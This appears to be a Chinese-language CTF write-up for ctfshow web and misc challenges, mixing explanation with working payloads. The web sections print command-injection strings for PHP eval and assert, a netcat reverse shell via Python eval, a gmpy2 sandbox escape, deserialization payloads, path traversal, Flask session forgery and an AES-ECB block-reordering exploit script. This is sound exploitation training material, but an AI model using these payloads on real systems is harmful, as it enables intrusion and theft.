Web
Web签到
嵌套: Cookie传参 -> POST传参 -> GET传参 -> REQUEST传参 -> eval执行
假如Cookie中传入CTFshow-QQ群:=a
, 那么就会出现$_POST['a']
, 假如POST传入的值为a=b,那么就会得到$_GET['b']
,接着假如GET传入b=c就会得到$_REQUEST['c']
假如再get传入c=123那么前面这一部分($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]])
的值就是123了。但是最终是需要通过数组下标的方式给到eval的。所以c传个数组就可以了: c[6][0][7][5][8][0][9][4][4]=system('ls');
接下来命令执行就不多说了, 如果发不出去就用url编码一下
payload: GET: ?b=c&c[6][0][7][5][8][0][9][4][4]=system('cat%20%2ff1agaaa'); POST: a=b Cookie: CTFshow-QQ%e7%be%a4:=a
我的眼里只有$
<?php error_reporting (0 );extract ($_POST );eval ($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_ ); highlight_file (__FILE__ );
本题就是如何闭合这36个$, 生成payload的exp如下
my_str = '_' for i in range (26 ): my_str += '=' + chr (97 +i)+'&' + chr (97 +i) for i in range (9 ): my_str += '=' + chr (65 +i)+'&' + chr (65 +i) my_str += "=system('ls /')" print (my_str)
命令执行就不再赘述
抽老婆
本来想应该是通过伪造图片的请求来读取文件的, 发现不行
最后在源码这里找到下载方式, 这个下载方式和旁边的注释很可疑, 可能会有任意文件下载
<a class ="layui-btn layui-btn-lg layui-btn-radius layui-btn-normal" href ="/download?file=6249ab7d7d4f7993619c2a22cb426d03.jpg" style ="width: 200px;" > 下载老婆</a >
利用/download?file=1111
报错,可以发现是Flask框架, 配置文件在app.py , ``/download?file=…/…/app.py`下载源码
""" # File : app.py # Time :2022/11/07 09:16 # Author :g4_simon # version :python 3.9.7 # Description:抽老婆,哇偶~ """ from flask import *import osimport randomfrom flag import flagapp = Flask(__name__) app.config['SECRET_KEY' ] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' @app.route('/' , methods=['GET' ] ) def index (): return render_template('index.html' ) @app.route('/getwifi' , methods=['GET' ] ) def getwifi (): session['isadmin' ]=False wifi=random.choice(os.listdir('static/img' )) session['current_wifi' ]=wifi return render_template('getwifi.html' ,wifi=wifi) @app.route('/download' , methods=['GET' ] ) def source (): filename=request.args.get('file' ) if 'flag' in filename: return jsonify({"msg" :"你想干什么?" }) else : return send_file('static/img/' +filename,as_attachment=True ) @app.route('/secret_path_U_never_know' ,methods=['GET' ] ) def getflag (): if session['isadmin' ]: return jsonify({"msg" :flag}) else : return jsonify({"msg" :"你怎么知道这个路径的?不过还好我有身份验证" }) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 ,debug=True )
/secret_path_U_never_know
路由有一个session验证, 直接用上得到的密钥和flasksession伪造工具即可伪造isadmin=True
,发包即可拿到flag
一言既出
<?php highlight_file (__FILE__ ); include "flag.php" ; if (isset ($_GET ['num' ])){ if ($_GET ['num' ] == 114514 ){ assert ("intval($_GET [num])==1919810" ) or die ("一言既出,驷马难追!" ); echo $flag ; } }
先满足$_GET['num']
的值等于114514
使用assert()
函数判断给定的表达式是否为真。如果表达式为假,则会抛出一个致命错误。
表达式为intval($_GET[num])==1919810
,即将$_GET['num']
强制转换为整数后,判断是否等于1919810, 如果表达式为真,则程序继续执行。
有好几种解:
num=114514进入条件后, 通过 # 注释掉后面的部分
?num=114514);%23 # 再给一点类似原理的: ?num=114514);// ?num=114514);(19199810 # 闭合后给后面的判断也变为真 ?num=114514)==1 or system('ls');%23 # 恒等于1后用or注入其他命令 ?num=114514)==1%20or%20system(%27ls%27);%23
num=114514进入条件然后加上一个数, 使得num变为1919810
?num=114514%2b1805296 ?num=114514)==1 or system('ls') or (1919810
URL中的+和空格
+如果直接写在url里面, 只会被当成一个字符串输出, 而不是作为运算符号, 所以用%2b
空格则表示单词之间的间隔
另外, 单引号: %27 , 井号: %23
Webshell
<?php error_reporting (0 ); class Webshell { public $cmd = 'echo "Hello World!"' ; public function __construct ( ) { $this ->init (); } public function init ( ) { if (!preg_match ('/flag/i' , $this ->cmd)) { $this ->exec ($this ->cmd); } } public function exec ($cmd ) { $result = shell_exec ($cmd ); echo $result ; } } if (isset ($_GET ['cmd' ])) { $serializecmd = $_GET ['cmd' ]; $unserializecmd = unserialize ($serializecmd ); $unserializecmd ->init (); } else { highlight_file (__FILE__ ); } ?>
非常简单的反序列化, 直接修改cmd的值就行, 完全没有什么难度, 至于这么提取flag, 通配符会出手:
<?php error_reporting (0 ); highlight_file (__FILE__ ); class Webshell { public $cmd = 'ls' ; } $a = new Webshell (); echo serialize ($a ); ?>
也可以将该目录下所有文件内容输出到一个不含flag的文件
O:8:"Webshell":1:{s:3:"cmd";s:7:"cat fl*";} # 然后看F12 O:8:"Webshell":1:{s:3:"cmd";s:13:"cat * > 1.txt";} # 后面再读取1.txt就可以了
化零为整
<?php highlight_file (__FILE__ );include "flag.php" ;$result ='' ;for ($i =1 ;$i <=count ($_GET );$i ++){ if (strlen ($_GET [$i ])>1 ){ die ("你太长了!!" ); } else { $result =$result .$_GET [$i ]; } } if ($result ==="大牛" ){ echo $flag ; }
我还在想url编码后不是三个嘛, 结果发现是拼接, 变量是一位就行, 而本身url编码后也只是占了一个位置, 不是三个
payload: ?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免
<?php include "flag.php" ;highlight_file (__FILE__ );if (isset ($_GET ['0' ])){ $arr [$_GET ['0' ]]=1 ; if ($arr []=1 ){ die ($flag ); } else { die ("nonono!" ); } }
非预期:
看了WP, 这肯定不对的啊? 哦有个fixed
<?php include "flag.php" ;highlight_file (__FILE__ );if (isset ($_GET ['0' ])){ $arr [$_GET ['0' ]]=1 ; if ($arr []=1 ){ die ("nonono!" ); } else { die ($flag ); } }
现在正常了, 只能用数组整型溢出绕过永真判断, 其他的数值可以看下面的茶歇区
payload: ?0=9223372036854775807 # 反正大就是好
算力超群
python eval
计算是后台计算的, 并不能干别的, 但是GET传值, 可以尝试构建错误的传值和错误的页面, 没有渲染就自己构建get请求重新访问
在报错页面底下有/app/app.py
部分源码(所以是Flask框架), 其中的a和b结合GET传值可以确定是可以控制的, 看上去没有过滤, 传值尝试后发现number1是有过滤的, 而number2是没有过滤的, 尝试用number2进行命令执行
所以为什么hint: 算算算算算算, 我是铁算子r4
因为eval是不回回显的, 所以我尝试用反弹Shell进行后续步骤, 当然也可以把执行的结果塞进文件然后读取
payload: ?number2=1,__import__('os').system('nc ip port -e /bin/sh')
我这里尝试直接发包, 发现连接不了, 还是直接访问才行; 然后在根目录找到flag
另一种方法
# 展示文件目录 _calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html') # 访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到文件目录 # 读取flag _calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html') # 再次访问hint即可
附上wp给的源码:
import refrom flask import Flask, jsonify, render_template, requestapp = Flask(__name__) @app.route('/_calculate' ) def calculate (): a = request.args.get('number1' , '0' ) operator = request.args.get('operator' , '+' ) b = request.args.get('number2' , '0' ) m = re.match (r'^\-?\d*[.]?\d*$' , a) n = re.match (r'^\-?\d*[.]?\d*$' , a) if m is None or n is None or operator not in '+-*/' : return jsonify(result='Error!' ) if operator == '/' : result = eval (a + operator + str (float (b))) else : result = eval (a + operator + b) return jsonify(result=result) @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/hint' ) def hint (): return render_template('hint.html' ) if __name__ == '__main__' : app.run()
算力升级
gmpy2.__builtins__的命令执行
, 嗯, 我觉得比较像模板注入? PyJail
提示是: 输入算式即可让R4帮你进行计算,本次R4重装升级,已经支持gmpy2了,可以使用gmpy2的函数进行计算,那我们赶快开始吧!
现在换成了POST, 但是源码直接给到了(上面的标签)
""" # File : app.py # Time :2022/10/20 15:16 # Author :g4_simon # version :python 3.9.7 # Description:算力升级--这其实是一个pyjail题目 """ from flask import *import osimport re,gmpy2 import jsonapp = Flask(__name__) pattern=re.compile (r'\w+' ) @app.route('/' , methods=['GET' ] ) def index (): return render_template('index.html' ) @app.route('/tiesuanzi' , methods=['POST' ] ) def tiesuanzi (): code=request.form.get('code' ) for item in pattern.findall(code): if not re.match (r'\d+$' ,item): if item not in dir (gmpy2): return jsonify({"result" :1 ,"msg" :f"你想干什么?{item} 不是有效的函数" }) try : result=eval (code) return jsonify({"result" :0 ,"msg" :f"计算成功,答案是{result} " }) except : return jsonify({"result" :1 ,"msg" :f"没有执行成功,请检查你的输入。" }) @app.route('/source' , methods=['GET' ] ) def source (): return render_template('source.html' ) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 ,debug=False )
源码对于输入的限制是两个正则,要求要么是数字,要么是dir(gmpy2)中的内容. 直接利用本地的py环境进行测试
import gmpy2print (dir (gmpy2))
发现gmpy2.__builtins__
是含有eval
函数的, 思路就是使用eval
和dir(gmpy2)
中的内容拼接字符串, 执行以下命令
gmpy2.__builtins__['eval' ]("__import__('os').popen('tac /flag').read()" )
只允许gmpy2
库中的函数, 我们不能直接用eval
, 那就间接用可用函数构造出eval
. 这里使用字符串下标操作: 'erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]==='eval'
'erf'[0]
会得到字符串 erf
的第一个字符,即 e
'div'[2]
会得到字符串 div
的第三个字符,即 v
不想手动就使用脚本:
import gmpy2s="__import__('os').popen('tac /flag').read()" payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](" for i in s: if i not in "/'(). " : temp_index=0 temp_string='x' *20 for j in dir (gmpy2): if j.find(i)>=0 : if len (j)<len (temp_string): temp_string=j temp_index=j.find(i) payload+=f'\'{temp_string} \'[{temp_index} ]+' else : payload+=f'\"{i} \"+' payload=payload[:-1 ]+')' print (payload)
Payload:
gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cot'[2]+'ai'[0]+'cmp'[0]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")
直接输入框就行, 我很好奇为什么我bp发出去不行
easyPytHon_P
源码糊脸
from flask import requestcmd: str = request.form.get('cmd' ) param: str = request.form.get('param' ) import subprocess, osif cmd is not None and param is not None : try : tVar = subprocess.run([cmd[:3 ], param, __file__], cwd=os.getcwd(), timeout=5 ) print ('Done!' ) except subprocess.TimeoutExpired: print ('Timeout!' ) except : print ('Error!' ) else : print ('No Flag!' )
关键在于tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
subprocess.run: 第一个参数是执行命令 cmd[:3]: 只取cmd这个字符串的前三个字符 __file__: 当前文件路径 cwd=os.getcwd(): 设置子进程的当前目录
对于subprocess.run的详细介绍
传参是POST, 通过Flask的request.form.get()
方法, 从表单数据中获取’cmd’和’param’的值, 这通常是在POST请求中使用的
cmd=ls¶m=./ # param不能是空的, 否则执行不出来 cmd=cat¶m=flag.txt
遍地飘零
$$值覆盖,$_GET全局变量和本地变量
<?php include "flag.php" ;highlight_file (__FILE__ );$zeros ="000000000000000000000000000000" ;foreach ($_GET as $key => $value ){ $$key =$$value ; } if ($flag =="000000000000000000000000000000" ){ echo "好多零" ; }else { echo "没有零,仔细看看输入有什么问题吧" ; var_dump ($_GET ); }
后台在接收到GET请求传递过来的参数后,会遍历GET的参数并且赋给$key
, 再将$key
对应的值给$value
; 同时会将GET请求传递的变量名和变量值都作为本地变量的变量名,然后进行值的覆盖, 最后使用var_dump
函数输出$_GET
的值
如果$_GET
不是本地变量的话,后台会输出GET请求传递过去的参数, 因此$_GET
必须是本地变量, 也就是GET请求传递的参数; 同时, 还需要参数值为flag, 才能进行变量覆盖
payload:
茶歇区
正常游戏是无法得到flag的, 源代码审计也没有任何的头绪, 购买只能输入整数, 就先猜测是整形溢出吧
# 常见的数据类型的取值范围 uint8 -> 0-255 uint16 -> 0-65535 uint32 -> 0-4294967295 uint36 -> 0-18446744073709551615 int8 -> -127-128 int16 -> -32768-32767 int32 -> -2147483648-2147483647 int64 -> -9223372036854775808-9223372036854775807
随便塞一个非常大的数字进去, 可以得到回显, 你会发现这个数字是固定的9223372036854775807
, 看来是int64了; 但是尝试了挺多次, 都发现就算数字大于int64的极限, 它仍然不计分; 尝试比最大值小一点
原来: 9223372036854775807 现在: 922337203685477580 # 也不行 再来: 999999999999999999 # 可以了
虽然可以, 但是为什么分是倒扣的?再发一遍就可以了, 弹窗处获得flag
小舔田?
反序列化是一个非常好的东西
<?php include "flag.php" ;highlight_file (__FILE__ );class Moon { public $name ="月亮" ; public function __toString ( ) { return $this ->name; } public function __wakeup ( ) { echo "我是" .$this ->name."快来赏我" ; } } class Ion_Fan_Princess { public $nickname ="牛夫人" ; public function call ( ) { global $flag ; if ($this ->nickname=="小甜甜" ){ echo $flag ; }else { echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家" .$this ->nickname."。\n" ; echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n" ; } } public function __toString ( ) { $this ->call (); return "\t\t\t\t\t\t\t\t\t\t----" .$this ->nickname; } } if (isset ($_GET ['code' ])){ unserialize ($_GET ['code' ]); }else { $a =new Ion_Fan_Princess (); echo $a ; }
最终目的肯定是Ion_Fan_Princess
类中的echo $flag;
, 而它在call()
中, 找到调用的地方, 显然是本类中的__toString
方法;
那么想要调用这里的__tostring
函数,可以利用上面Moon
类中的__toString
方法,使得$this->name
的值为Ion_Fan_Princess
对象, 在wakeup
方法中触发__toString
方法
看的头晕可以给你画个图:
<?php class Moon { public $name ; } class Ion_Fan_Princess { public $nickname ="小甜甜" ; } $a =new Moon (); $a ->name=new Ion_Fan_Princess (); echo serialize ($a ); ?>
payload:
?code=O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}
LSB探姬
""" # File : app.py # Time :2022/10/20 15:16 # Author :g4_simon # version :python 3.9.7 # Description:TSTEG-WEB # flag is in /app/flag.py """ from flask import *import osapp = Flask(__name__) @app.route('/' , methods=['GET' ] ) def index (): return render_template('upload.html' ) @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : try : f = request.files['file' ] f.save('upload/' +f.filename) cmd="python3 tsteg.py upload/" +f.filename result=os.popen(cmd).read() data={"code" :0 ,"cmd" :cmd,"result" :result,"message" :"file uploaded!" } return jsonify(data) except : data={"code" :1 ,"message" :"file upload error!" } return jsonify(data) else : return render_template('upload.html' ) @app.route('/source' , methods=['GET' ] ) def show_source (): return render_template('source.html' ) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 ,debug=False )
首先可以得到flag is in /app/flag.py
, 然后发现cmd="python3 tsteg.py upload/"+f.filename
没有过滤,没有限制,可能会出现和命令注入攻击
如果用户上传的文件名包含恶意的路径信息(例如 …/…/etc/passwd), 那么这个代码就会尝试在一个用户不应该有权限访问的路径下运行 tsteg.py 脚本. 这就是所谓的路径遍历攻击, 攻击者通过这种方式可以访问到他们本不应该能够访问的文件.
如果 f.filename 中包含了特殊字符(如分号或反引号), 那么攻击者可能可以在 tsteg.py 脚本执行完之后, 再执行一些恶意的命令, 这就是所谓的路径遍历攻击
所以只需要在上传文件的地方加上分号再续上命令就好了, poc如下
Is_Not_Obfuscate
你可以在源码里面找到一些提示:
访问robots.txt可以得到两个敏感路径:/lib.php?flag=0
和/plugins
; 访问/lib.php?flag=1
可以得到一串类似base64的密文, 将这行密文复制到输入框; 另外上面注释不是注释掉了一个按钮嘛, 你给他变回来, 操作如下:
可以得到解密后的源码:
<?php header ("Content-Type:text/html;charset=utf-8" );include 'lib.php' ;if (!is_dir ('./plugins/' )){ @mkdir ('./plugins/' , 0777 ); } if ($_GET ['action' ] === 'test' ) { echo 'Anything is good?Please test it.' ; @eval (decode ($_GET ['input' ])); } ini_set ('open_basedir' , './plugins/' );if (!empty ($_GET ['action' ])){ switch ($_GET ['action' ]){ case 'pull' : $output = @eval (decode (file_get_contents ('./plugins/' .$_GET ['input' ]))); echo "pull success" ; break ; case 'push' : $input = file_put_contents ('./plugins/' .md5 ($_GET ['output' ].'youyou' ), encode ($_GET ['output' ])); echo "push success" ; break ; default : die ('hacker!' ); } } ?>
通过审阅源码可知, action的值有三个: test, pull, push
test:测试用 push:插件内容写入文件 pull:读取文件,解密命令并执行
由于md5($_GET['output'].'youyou'
,说明加密的盐值为youyou
假如我们传入output=phpinfo()&action=push
, 则会生成一个文件, 路径为plugins/md5值
该md5值是可以本地计算得到的, 就是我们代码后面拼接youyou后的md5值;
然后如果在传入action=pull&input=刚才生成的文件路径
就可以运行刚才的代码了。
因此,构造读取目录的Payload如下
# 加密, 你问我变量怎么来的?抓包来的 ?input=&action=push&output=<?php echo `ls /`;?> # 解密和执行 ?input=e31d7b1dfe43749c42490c26deca67a6&action=pull&output=
执行就可以得到文件目录,继续构造
# payload ?input=&action=push&output=<?php echo `cat /f1agaaa`;?> ?input=aa47b964e675ae576fa5a3a266afb74f&action=pull&output=
龙珠NFT
源码如下:
""" # File : app.py # Time :2022/10/20 15:16 # Author :g4_simon # version :python 3.9.7 # Description:DragonBall Radar (BlockChain) """ import hashlibfrom flask import *import osimport jsonimport hashlibfrom Crypto.Cipher import AESimport randomimport timeimport base64class AESCipher (): def __init__ (self,key ): self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16 ]) self.model = AES.MODE_ECB self.aes = AES.new(self.key,self.model) def add_16 (self,par ): if type (par) == str : par = par.encode() while len (par) % 16 != 0 : par += b'\x00' return par def aesencrypt (self,text ): text = self.add_16(text) self.encrypt_text = self.aes.encrypt(text) return self.encrypt_text def aesdecrypt (self,text ): self.decrypt_text = self.aes.decrypt(text) self.decrypt_text = self.decrypt_text.strip(b"\x00" ) return self.decrypt_text app = Flask(__name__) flag=os.getenv('FLAG' ) AES_ECB=AESCipher(flag) app.config['JSON_AS_ASCII' ] = False players={} @app.route('/' , methods=['GET' ] ) def index (): """ 提供登录功能 """ @app.route('/radar' ,methods=['GET' ,'POST' ] ) def radar (): """ 提供雷达界面 """ @app.route('/find_dragonball' ,methods=['GET' ,'POST' ] ) def find_dragonball (): """ 找龙珠,返回龙珠地址 """ xxxxxxxxxxx if search_count==10 : dragonball="1" elif search_count<=0 : data={"code" :1 ,"msg" :"搜寻次数已用完" } return jsonify(data) else : random_num=random.randint(1 ,1000 ) if random_num<=6 : dragonball=一个没拿过的球,比如'6' else : dragonball='0' players[player_id]['search_count' ]=search_count-1 data={'player_id' :player_id,'dragonball' :dragonball,'round_no' :str (11 -search_count),'time' :time.strftime('%Y-%m-%d %H:%M:%S' )} data['address' ]= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode() return jsonify(data) @app.route('/get_dragonball' ,methods=['GET' ,'POST' ] ) def get_dragonball (): """ 根据龙珠地址解密后添加到用户信息 """ xxxxxxxxx try : player_id=request.cookies.get("player_id" ) address=request.args.get('address' ) data=AES_ECB.aesdecrypt(base64.b64decode(address)) data=json.loads(data.decode()) if data['dragonball' ] !="0" : players[data['player_id' ]]['dragonballs' ].append(data['dragonball' ]) return jsonify({'get_ball' :data['dragonball' ]}) else : return jsonify({'code' :1 ,'msg' :"这个地址没有发现龙珠" }) except : return jsonify({'code' :1 ,'msg' :"你干啥???????" }) @app.route('/flag' ,methods=['GET' ,'POST' ] ) def get_flag (): """ 查看龙珠库存 """ @app.route('/source' ,methods=['GET' ,'POST' ] ) def get_source (): """ 查看源代码 """ if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 ,debug=False )
根据源码可知, 一共有5个路由:
/
提供注册功能, 将用户名的md5作为session存入
/radar
没用
/find_dragonball
如果是第一次访问, 那么dragonball就是固定值1, 否则访问后产生一个随机数范围是1-1000; 如果是在0-6之间, 那么就把dragonball赋值为该数,否则就赋值为0; 并且每个用户都是只有十次机会
get_dragonball
传入一个address,如果解密后的值中dragonball不为0,那么就会获得该星的龙珠
flag
有1-7号的dragonball就拿到flag
即使你想用暴力破解的方式, 问题是代码限制永远不可能获得数字7, 唯一可能有问题的地方就是加密方法了, 利用加密方法伪造地址获得龙珠
address是用AES的ECB模式加密的,稍微查一下就可以知道,ECB模式一组密文对应一组明文,也
就是说,可以通过改变密文的顺序从而改变解密后明文的顺序; 代码中用的是以16位为一组进行分割,不足16位则用\x00补齐
利用源码中给的例子进行划分: 用户不变的前提下,前四行是固定的; 如果我们删除第五行, 刚好dragonball
就会变成round_no
的9, 而只要dragonball
不为0我们就能获得龙珠; 这个次数又是我们可以控制的, 也就可以控制生成的龙珠数了
{"player_id": "5 72d4e421e5e6b9bc 11d815e8a027112" , "dragonball": "1", "round_no": # 到时候这行没了 "9", "time":"2 022-10-19 15:06 :45"}
脚本如下:
import requestsimport jsonimport base64import randomurl = 'https://37f2b8fd-efbc-45e6-b33b-9eb1392146c7.challenge.ctf.show/' s = requests.session() username = str (random.randint(1 , 100000 )) print (username)r = s.get(url + '?username=' + username) responses = [] for i in range (10 ): r = s.get(url + 'find_dragonball' ) responses.append(json.loads(r.text)) for item in responses: data = json.dumps({'player_id' : item['player_id' ], 'dragonball' : item['dragonball' ], 'round_no' : item['round_no' ], 'time' : item['time' ]}) miwen = base64.b64decode(item['address' ]) round_no = item['round_no' ] if round_no in [str (i) for i in range (1 , 8 )]: fake_address = miwen[:64 ] + miwen[80 :] fake_address = base64.b64encode(fake_address).decode() r = s.get(url + 'get_dragonball' , params={"address" : fake_address}) r = s.get(url + 'flag' ) print (r.text)
Misc
谜之栅栏
下载下来两个文件都无法用stegdetect打开, 但是用图片打开还是有不同的,于是就想在16进制里面找
用010 Editor的比较文件(Ctrl+M)工具可以寻找两个文件中的不同之处然后拼接
cfhwfaab2cb4af5a5820}
和tso{06071f997b5bdd1a
既然叫做栅栏,就试试栅栏密码解密, 分为两栏的时候得到解密结果
你会数数吗
用010 Editor打开此文件,数数多半意味着字数统计
找到直方图(Ctrl+Shift+T), 然后按照百分比排序就可以看到flag
你会异或吗
题目给了数字0x50, 因为异或可逆的特性, 只需要再次异或就可以变回来
用010 Editor打开此文件, 文件内没有有效字符串也没有其他东西, 猜测是将整个文件异或
工具-> 十六进制运算-> 二进制异或-> 操作数50(十六进制), 就可以看到是正常的PNG头, 保存修改拿到flag
flag一分为二
尝试了图片宽高爆破, 在图片底下得到后半部分flag
被修改过的图片 Honeyview 都不能正常显示
LSB没有, 不包含压缩包, 然后尝试盲水印, 可以得到前半部分flag
watermark
我是谁?
不会写脚本就是一个纯纯费眼睛的玩意, 很难想象出题人经历了什么有如此的精神状态
import requestsfrom lxml import htmlimport cv2import numpy as npimport jsonurl="https://be63e113-bfc8-4d2f-85a8-ff939464fa05.challenge.ctf.show/" sess=requests.session() all_girl=sess.get(url+'/static/all_girl.png' ).content with open ('all_girl.png' ,'wb' )as f: f.write(all_girl) big_pic=cv2.imdecode(np.fromfile('all_girl.png' , dtype=np.uint8), cv2.IMREAD_UNCHANGED) big_pic=big_pic[50 :,50 :,:] image_alpha = big_pic[:, :, 3 ] mask_img=np.zeros((big_pic.shape[0 ],big_pic.shape[1 ]), np.uint8) mask_img[np.where(image_alpha == 0 )] = 255 cv2.imwrite('big.png' ,mask_img) def answer_one (sess ): response=sess.get(url+'/check' ) if 'ctfshow{' in response.text: print (response.text) exit(0 ) tree=html.fromstring(response.text) element=tree.xpath('//source[@id="vsource"]' ) video_path=element[0 ].get('src' ) video_bin=sess.get(url+video_path).content with open ('Question.mp4' ,'wb' )as f: f.write(video_bin) video = cv2.VideoCapture('Question.mp4' ) frame=0 while frame<=55 : res, image = video.read() frame+=1 video.release() image=image[100 :400 ,250 :500 ] gray_image=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY) temp = np.zeros((300 , 250 ), np.uint8) temp[np.where(gray_image>=128 )]=255 temp = temp[[not np.all (temp[i] == 255 ) for i in range (temp.shape[0 ])], :] temp = temp[:, [not np.all (temp[:, i] == 255 ) for i in range (temp.shape[1 ])]] temp = cv2.resize(temp,None ,fx=1.2 ,fy=1.2 ) res =cv2.matchTemplate( mask_img,temp,cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res) x,y=int (max_loc[0 ]/192 ),int (max_loc[1 ]/288 ) guess='ABCDEFGHIJ' [y]+'0123456789' [x] print (f'guess:{guess} ' ) response=sess.get(url+'/submit?guess=' +guess) r=json.loads(response.text) if r['result' ]: print ('guess right!' ) return True else : print ('guess wrong!' ) return False i=1 while i<=31 : print (f'Round:{i} ' ) if answer_one(sess): i+=1 else : i=1
You and me
也是盲水印, 这次需要另一个盲水印工具 , 安装依赖即可执行
python3 bwmforpy3.py decode you.png you_and_me.png flag.png
迅疾响应
扫不出来?扫不出来就对了, 向你推荐qrazybox , 二维码详解
New -> Import from Image 导入之后 Tools -> Extract QR information
flag只有一半, 在你详细了解过二维码之后, 你会知道填充是从右往左填充的, 而且纠错码会在数据之后. 既然没有别的方法了, 那就碰运气先删掉一部分的纠错码看看能不能将纠错机制部分删除, 拿到没有被纠错的部分
所以我把定时标志(Timing Pattern)左边的数据部分全部删掉了
此时再做扫描就能得到flag, 真帅吧
打不开的图片
没有文件头, 没有文件尾, 简直就是乱码
附件名字叫做misc5.5.png, 而叫做misc5.png的附件是"你会异或吗"的附件, 那可能就是对整个文件进行了什么操作导致正常图片变成了这样
观察后发现, 本题文件头部分的二进制反转后加一就可以得到一个PNG头
十六进制运算 -> 二进制反转 -> 加一 -> 保存就可以看到flag
似乎有个求反运算, 我现在在想为什么他能通过X[i]=-X[i]
直接得到求反加一
简单题
Web
web2 c0me_t0_s1gn
右键检查, 源码中还有两个提示:
<p > the page hide something you need use the god's eye to find</p >
控制台处输入对应函数即可
try to run the function "g1ve_flag()"to get the flag! # t0_jo1n_u3_!}
驷马难追
<?php highlight_file (__FILE__ ); include "flag.php" ; if (isset ($_GET ['num' ])){ if ($_GET ['num' ] == 114514 && check ($_GET ['num' ])){ assert ("intval($_GET [num])==1919810" ) or die ("一言既出,驷马难追!" ); echo $flag ; } } function check ($str ) { return !preg_match ("/[a-z]|\;|\(|\)/" ,$str ); }
经过测试, URL编码中的字母不会被check函数检测出来, 所以就是直接用加法即可: ``?num=114514%2b1805296`
TapTapTap
是一个网页小游戏, html没什么好看的, 直接看该游戏仅有的一个``habibiScript.js`
直接搜索alert, 似乎得到一个游戏结束的输出
if ( gameEngine.levelNum > 20 ) { toolsBox.hidePage (pagePlayArea); toolsBox.showPage (pageLevelPassed); console .log (atob ('WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ=' )); alert (atob ('WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ=' )); } else { gameEngine.updateLevel (gameEngine.levelNum + 1 ); }
对其进行base64编码, 可以得到Your flag is in /secret_path_you_do_not_know/secretfile.txt
, 打开就得到了flag
传说之下(雾)
window .onload = function ( ) { Game = new Underophidian ('gameCanvas' ) var snakeAudio = document .querySelector ('.snake-audio' ) var gameMusic = document .querySelector ('.game-music' ) var gameButton = document .querySelector ('.game-button' )
查看js, 会发现游戏这个对象直接摆在脸上是Game, 而 score 是里面的一个变量
所以 开始游戏->暂停->控制台输入Game.score=3000
, 然后吃掉一个果子, 控制台就会出现flag
Misc
杂项签到
用winhex打开然后搜索ctfshow即可得到flag
损坏的压缩包
winhex打开发现是PNG头,改成png后缀打开得到flag
7.1.05
下载的是一个游戏的存档文件, 鼠鼠不想做了
黑丝白丝还有什么丝
你是西格玛男人, 鉴定为摩斯电码, 白丝为.
黑丝为-
转场为空格, 解码之后变成全大写就可以交了
手搓如下: .-- ....- -. - - ----- -... ...-- -- --- .-. . -.-. ..- - .
我吐了你随意
0宽隐写, 塞进0宽字符解码工具 即可